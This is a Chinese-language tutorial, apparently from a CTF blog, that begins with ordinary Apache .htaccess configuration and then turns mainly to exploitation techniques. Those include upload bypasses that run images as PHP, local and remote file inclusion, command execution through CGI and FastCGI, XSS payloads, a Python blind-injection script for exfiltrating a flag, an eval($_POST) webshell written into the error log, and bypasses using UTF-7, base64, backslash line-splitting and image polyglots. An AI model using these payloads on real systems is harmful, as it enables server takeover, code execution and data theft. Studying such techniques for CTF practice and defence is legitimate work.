基本概念

.htaccess是Apache服务器中的一个配置文件,里面存放着Apache服务器配置相关的指令。通过.htaccess文件我们能实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许、阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。.htaccess注释符有#且支持\拼接上下两行。

启动.htaccess我们需要将apache配置文件中的AllowOverride选项设置为All(默认为None)

需要注意的是.htaccess配置文件中的指令只对当前目录及其子目录生效,如果子目录也存在.htaccess文件,则子目录的配置优先于父目录,即子目录中的指令会覆盖父目录或者主配置中的指令。

常见使用方法

访问控制

可以设置允许或禁止所有IP访问某文件或者禁止某IP访问,文件名可使用通配符和正则表达式

1
2
3
4
5
6
# 禁止访问 .git、.env 等文件
<FilesMatch "\.(env|git|sql|bak|ini)$">
Order allow,deny
Deny from all #禁止所有访问
Deny from 1.1.1.1 #禁止IP为1.1.1.1访问
</FilesMatch>

目录重定向

1
Redirect 301 /old /new

该规则会将/old目录重定向到/new目录

自定义错误页面

1
2
ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html

URL 重定向与重写

该功能主要通过主要通过 mod_rewrite 模块实现,如文件扩展名处理:

1
2
3
4
5
6
7
8
# 隐藏.html扩展名(访问/about → about.html)
RewriteCond %{REQUEST_FILENAME} !-d #排查目录
RewriteCond %{REQUEST_FILENAME}.html -f #检测html目录是否存在
RewriteRule ^([^\.]+)$ $1.html #重写规则

# 强制添加斜杠(防止目录访问404)
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^(.*[^/])$ %{REQUEST_URI}/

**%{REQUEST_FILENAME}**:Apache 变量,表示用户请求路径对应的服务器物理路径

**-d**:测试是否为存在的目录

允许/禁止显示目录列表

1
2
# 禁止目录列表
Options -Indexes

对当前目录及所有子目录,访问无索引文件的目录时返回 403 Forbidden 错误。

1
2
# 允许目录列表
Options +Indexes

常见指令

SetHandler

SetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。

1
SetHandler application/x-httpd-php

当前目录以及子目录所有文件将会被当作php解析。

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

1
AddHandler application/x-httpd-php .jpg

扩展名为.jpg的文件会被当作php解析

AddType

与AddHandler作用一样,AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

1
AddType application/x-httpd-php .jpg

将jpg后缀文件当作php文件执行

php_value

当PHP作为Apache模块时,可以通过Apache的配置文件如httpd.conf或.htaccess文件中的指令来修改php的配置。但需要有AllowOverride Options 或AllowOverride All 权限才可以。

查看配置可被设定范围:

可以看到.htaccess只能用于PHP_INI_ALL或PHP_INI_PERDIR类型的指令。

然后可以在php.ini配置选项列表中找到可用的指令:

  • auto_prepend_file:在主文件解析之前自动解析包含的文件
  • auto_append_file:在主文件解析后自动解析包含的文件

可以设置auto_prepend_file/auto_append_file进行文件包含,包含的文件可以使用php伪协议:

1
2
3
4
5
6
7
#在主文件解析之前自动解析包含1.jpg的内容
php_value auto_prepend_file 1.jpg

#在主文件解析后自动解析2.jpg的内容
php_value auto_append_file 2.jpg

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"

php_flag

php_flag 用来设定布尔值的php 配置指令

用法:

1
php_flag name on|off

可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露:

1
php_flag engine 0

利用方式

源码泄露

通过利用php_flag将engine设置为0,关闭php解析,从而造成源码泄露:

1
php_flag engine 0

文件解析

在设有黑名单的文件上传中,如果没有过滤.htaccess,我们可以通过上传.htaccess文件将图片作为php文件解析

可以使用的指令有:

  • SetHandler

    1
    2
    3
    4
    # 将ma.jpg 当做 PHP 执行
    <FilesMatch "ma.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
  • AddType/AddHandler

    1
    2
    3
    4
    #将jpg后缀当作php代码执行
    AddHandler application/x-httpd-php .jpg

    AddType application/x-httpd-php .jpg

文件包含

本地文件包含

可通过php_value指令设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,但需要本目录或者子目录有可执行的php文件:

1
2
3
4
5
#在主文件解析之前自动解析包含ma.jpg的内容
php_value auto_prepend_file ma.jpg

#在主文件解析后自动解析ma.jpg的内容
php_value auto_append_file ma.jpg

远程文件包含

前提:php.ini的配置选项allow_url_includeallow_url_fopen状态为ON使include/require函数能够使用。

因为all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启

1
php_value auto_append_file http://xxx/ma.php

命令执行

配合伪协议

这里可利用data://伪协议进行命令执行:

1
2
#allow_url_fopen: on,allow_url_include: on 
php_value auto_append_file "data://test/plain,<?php phpinfo();?>"

解析.htaccess自身执行命令

不仅如此,.htaccess还可以通过包含自己来进行命令执行:

  • 当前目录有php执行文件的情况下

    1
    2
    php_value auto_append_file .htaccess
    #<?php phpinfo();

  • 当前目录没有php执行文件的情况下

    关键:需要先设置允许可访问 .htaccess 文件

    1
    2
    3
    4
    5
    6
    7
    <Files .htaccess>
    SetHandler application/x-httpd-php
    Require all granted
    php_flag engine on
    </Files>
    php_value auto_prepend_file .htaccess
    #<?php phpinfo();

    也可以利用<FilesMatch

CGI脚本执行

参考:[De1CTF2020 check in](https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/web/check in)

CGI(Common Gateway Interface) 是一种标准协议,允许 Web 服务器(如 Apache)与外部程序(如 Shell、Python、Perl 脚本)交互。即我们可以通过cgi来执行shell等脚本。

前提:启用了cgi模块,同时cgi_module需要加载,即apache配置文件中有

1
LoadModule cgi_module modules/mod_cgi.so

启用cgi模块要根据 MPM 类型选择模块

1
2
apache2ctl -V | grep MPM
# 输出示例:Server MPM: prefork

prefork MPM → 使用 mod_cgia2enmod cgi

worker/event MPM → 使用 mod_cgida2enmod cgid

在.htaccess文件中添加:

1
2
Options +ExecCGI   #允许在指定目录下执行 CGI脚本
AddHandler cgi-script .sh #将扩展名为 .sh 的文件关联到 CGI脚本处理器。

再写一个简单的CGI脚本:

1
2
3
#!/bin/sh
echo "Content-type: text/plain\r\n" #必需的HTTP头信息
whoami

访问sh文件即可:

复现不成功可能是因为文件权限不够,可以赋予脚本执行权:

1
chmod +x /var/www/html/1.sh

FastCGI脚本执行

与CGI一样可以和外部程序交互,但mod_fcgid.so需要被加载:

1
LoadModule fcgid_module modules/mod_fcgid.so

下载fcgid:apt-get install libapache2-mod-fcgid

启动:a2enmod fcgid

.htaccess:

1
2
3
Options +ExecCGI  #允许在指定目录下执行CGI或FastCGI脚本。
AddHandler fcgid-script .xx #将扩展名为.xx 的文件关联到FastCGI处理器(mod_fcgid)。
FcgidWrapper "/bin/sh" .xx #指定用于执行.xx 文件的 解释器路径。

1.xx:

1
2
3
4
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
whoami

访问1.xx即可

XSS

highlight_file

主要通过.hataccess文件设定highlight.comment,指定高亮内容,进行XSS。

.htaccess:

1
php_value highlight.comment '"><script>alert(1);</script>'

highlight.comment 是 PHP 的语法高亮配置选项,用于定义 注释部分的颜色(如 #FF8000)。

其中highlight.comment也可换成如下其他选项:

1.php:

1
2
3
<?php
highlight_file(__FILE__);
// comment

原理就是highlight_file(__FILE__)函数会输出当前文件的内容,并用PHP语法高亮显示。这意味着它会将PHP代码转换为带有颜色标记的HTML代码。注释部分(以//#开头的行,以及/* */之间的内容)会根据highlight.comment的设置进行高亮,当定义高亮内容时,PHP会将内容直接穿插在<span>标签的style属性中,且未转义特殊字符,导致HTML结构被破坏,即最后产生的HTML片段为:

1
<span style="color: "><script>alert(1);</script>">// comment</span>

刚好闭合了前面的<"

错误信息链接

通过 .htaccess 设置 php_value docref_root,结合 PHP 错误信息的 HTML 渲染机制,可在错误页面中注入未转义的脚本代码,触发 XSS 攻击。

1.php:

1
2
<?php
include('foo');#包含不存在的文件促发PHP错误

.htaccess:

1
2
3
php_flag display_errors 1       # 允许显示错误信息
php_flag html_errors 1 # 将错误信息格式化为HTML
php_value docref_root "'><script>alert(1);</script>" # 注入恶意字符串

docref_root 是 PHP 的配置选项,用于定义 错误消息中链接的 PHP 官方文档的根 URL,这里直接改成我们的恶意代码

利用404页面盲注

.htaccess:

1
2
3
<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "b1uel0n3"
</If>

利用匹配成功返回带有b1uel0n3的404内容进行盲注来获取flag

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import string

TARGET_URL = "http://example.com/upload.php" # 文件上传接口
CHECK_URL = "http://example.com/not_exist_path" # 触发404的路径
FLAG_PREFIX = "flag{" # Flag已知前缀
CHARSET = string.ascii_letters + string.digits + "_!@#$%^&*()-=+{}" # 字符集

def upload_htaccess(payload):
files = {'file': ('.htaccess', payload, 'text/plain')}
r = requests.post(TARGET_URL, files=files)
return "success" in r.text # 根据上传接口返回判断是否成功

def check_response():
r = requests.get(CHECK_URL)
return "b1uel0n3" in r.text # 自定义404响应关键词

def blind_injection():
flag = FLAG_PREFIX
while True:
found = False
for c in CHARSET:
current_guess = flag + c
# 构造正则匹配规则:当前猜测字符 + 后续任意字符直到}
regex = f"^{re.escape(current_guess)}.*\\}}$"
htaccess_content = f'''
<If "file('/flag') =~ /{regex}/">
ErrorDocument 404 "b1uel0n3"
</If>
'''
if upload_htaccess(htaccess_content):
if check_response():
flag += c
print(f"[+] Current Flag: {flag}")
found = True
if c == "}":
print("[!] Flag found:", flag)
return
break
if not found:
print("[-] Failed to find next character")
break

if __name__ == "__main__":
blind_injection()

利用报错日志写马

参考:[XNUCA2019Qualifier]EasyPHP

思路就是error_log能将PHP运行报错的记录写到指定文件,而include_path 是 PHP 的配置选项,用于定义 PHP 在包含文件(如 includerequire)时搜索文件的目录列表。当使用相对路径或未指定路径时,PHP 会按照 include_path 中设置的目录顺序查找文件。

所以我们通过.htaccess文件设定error_log选项来定义我们错误文件的存储路径,再配合include_path将🐎当作错误路径解析从而将🐎写入文件

error.php:

1
2
<?php
include('fooo');#包含不存在的文件促发PHP错误

.htaccess:

1
2
php_value error_log /var/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

可以看到我们的路径成功写进去了,但存在<>被html编码转义问题。

这里我们需要用UTF-7编码来进行绕过,这里参考[XNUCA2019Qualifier]EasyPHP的解法:

先将带有UTF-7编码转换的🐎写入文件

1
2
php_value include_path "+ADw?php eval(+ACQAXw-POST+AFs'a'+AF0)+ADs?+AD4-"
php_value error_log /tmp/fl3g.php

一般来说www-data在/var/www/html都没有写的权限的,所以写入/tmp/目录下

然后利用UTF-7来解析写了🐎的文件:

1
2
3
php_value include_path "/tmp"   #指定目录找包含文件
php_flag zend.multibyte 1 #启用 PHP 的多字节字符编码支持(如 UTF-8、UTF-7)。
php_value zend.script_encoding "UTF-7" #指定 PHP 脚本文件的字符编码为 UTF-7。

此时已经包含了上传的🐎文件,直接访问主文件连蚁剑或者RCE即可

Bypass

关键字过滤

\反斜杠绕过

对于关键字的过滤我们可以利用\绕过,在.htaccess中支持\拼接上下两行

1
2
3
p\
hp_value auto_prepend_fi\
le ma.jpg

UTF-7编码绕过

对于<?等字符的检测可以用UTF-7编码来绕过

1
2
3
4
php_value auto_append_file .htaccess
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
#+ADw-?php+ACA-+AEA-eval(+ACQ-+AF8-POST+AFs-'shell'+AF0-)+ADs-+ACA-?+AD4-

伪协议绕过

同样对于过滤<?php等敏感内容也可以采用php://filter伪协议配合base64等其他编码绕过:

1
2
3
4
5
6
7
.hatccess:
AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=ma.jpg"

ma.jpg:
PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=

脏字符绕过

参考:[XNUCA2019Qualifier]EasyPHP

如一些题中会在我们写入的文件内容中添加一些脏字符如\nJust one chance使我们的文件失效

这时我们可以通过添加#\的方式来绕过,\将后面的斜杠进行转义成普通字符,再通过#注释掉后面的内容即可

回溯绕过preg_match

由于PHP 的配置选项 pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match 会返回false而不是0,这时我们设置回溯次数上限为0从而直接返回false来绕过preg_match等函数正则匹配的检测:

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

绕过上传图片限制

有时在上传图片时会遇到getimagesize()等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用exif_imagetype()函数读取第一个字节并检查其签名。这时如果.htaccess没被过滤的话,我们可以修改.htaccess内容来绕过限制。

所以我们需要找一个能满足image要求又能让.htaccess有效的.htaccess/image多语意文件。而**.htaccess中#和以空字节\x00开头的行都能起到注释的作用,即我们要找到一个签名开头带有#符号或\x00的文件格式**

我们可以看下exif_imagetype()支持的图像类型:

WBMP(Wireless Bitmap)是一种 移动计算机 设备使用的标准 图像格式,WBMP文件开头是”Header” 头部。Header的第一个字节表示图片类型,目前只有0,即非压缩的黑白位图。第二个字节固定为0,第三个字节开始,分别是图像的宽度和高度,即:

那么我们可以利用\x00来定义尺寸绕过并且不会对让.htaccess失效:

1
2
\x00\x00\x85\x85    #后面\x85是尺寸,可修改
AddType application/x-httpd-php 1.jpg

XBM(X BitMap)是一种图像文件格式,用于X Window系统的图形界面,存储光标、图标等简单图像。而XBM文件主要使用 #define 定义宽、高和像素数组,因此我们可以利用XBM图像格式绕过:

1
2
3
#define width 16
#define height 16
AddType application/x-httpd-php 1.jpg

参考

htaccess利用总结

文件上传之.htaccess的一些技巧

[CTF].htaccess的使用技巧总结

与 .htaccess 相关的奇淫技巧

Apache的.htaccess利用技巧